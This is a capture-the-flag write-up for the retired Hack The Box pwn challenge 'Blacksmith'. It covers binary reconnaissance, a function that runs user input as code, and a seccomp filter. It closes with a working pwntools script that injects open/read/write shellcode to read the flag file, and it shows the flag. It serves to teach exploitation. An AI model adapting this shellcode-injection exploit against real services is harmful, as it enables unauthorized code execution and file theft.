Name: | Blacksmith |
---|---|
Hint: | You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt". |
Base Points: | Easy - Retired [0] |
Rated Difficulty: | |
HTB-Bot | |
Creator: | w3th4nds |
Download and unzip the file and check the hint:
Hint: You are the only one who is capable of saving this town and bringing peace upon this land! You found a blacksmith who can create the most powerful weapon in the world! You can find him under the label "./flag.txt".
Files: blacksmith
We start out with our standard "file", "checksec", and "strings" checks.
We are dealing with a 64-bit ELF Linux Binary Executable. In the "strings" output, we see several things that one might see in a Blacksmith of an RPG-style game. Let's delve deeper into the checksec command. As we can see:
RELRO = FULL. This means that the binary is set to Read-Only
Stack Canary = Canary Found. This means that there is a security cookies set into the stack.
NX = Disabled. This means that commands/code can be executed on the stack itself.
PIE = PIE Enabled. This means that the binary and its dependecies run in random memory locations each time the application is run.
The rest can be ignored for this particular PWN challenge (I promise that if one of the other values is used in this challenge or any other that I will explain what they are and do). So, we have a security cookie, can run code and commands directly on the stack, and the binary is read-only. Let's run the binary and see what it does.
Let's open this up in Ghidra and look at the different functions. This is made easier by the fact that the function names are not stripped. We know they are not stripped because the "file" check we ran earlier told us "not stripped" at the end of the output. The "shield" function was of particular interest.
The highlighted set of code takes an input from us when it asks "Do you like your new weapon?" and executes it as code. Looking at the sword and bow functions, we see that they do not take any input from us. So, the shield function is 100% our attack point. However, we also notice another function that could bite us in the backside. That function is "sec".
Sure enough, that's what I was afraid of. "sec" is the function to limit system calls using seccomp. If you've ever secured a Kubernetes container, you've likely used seccomp tools before, but it is primarily used to secure kernel/system calls. The man page for seccomp can be found https://man7.org/linux/man-pages/man2/seccomp.2.html and there is a Seccomp-Toolkit found https://github.com/david942j/seccomp-tools. We can use these tools to determine what rules are in place and what calls we can actually make. IMHO, this ups the difficulty, but that's not for me to decide. Using seccomp-tools, we can see that if the sys_number is read, write, open, or exit and the architecture is x64, then seccomp will ALLOW it.
We can use ShellCraft to create our payload (https://docs.pwntools.com/en/stable/shellcraft/amd64.html).
Shellcode = asm(shellcraft.open("./flag.txt"))
Shellcode += asm(shellcraft.read(3,"rsp",40))
Shellcode += asm(shellcraft.write(1, "rsp","rax"))
So, copy or pwntools_template.py to our working folder and start building the pwntools exploit.
from pwn import *
# Adding Context
context.binary = ELF("./blacksmith",checksec=False)
# context.log_level = "DEBUG"
# p = process()
p = remote("<INSTANCE IP",INSTANCEPORT)
# Entering Into Shield Function
p.sendlineafter(b">", b"1")
p.sendlineafter(b">", b"2")
# Payload Creation
Shellcode = asm(shellcraft.open("./flag.txt"))
Shellcode += asm(shellcraft.read(3,"rsp",40))
Shellcode += asm(shellcraft.write(1, "rsp","rax"))
p.sendlineafter(b">",flat(Shellcode))
Flag = p.recvline().decode().rstrip()
p.close()
log.success(f"Flag Found : {Flag}")
Run the script and we get the flag:
[+] Flag Found : HTB{s3cc0mp_1s_t00_s3cur3}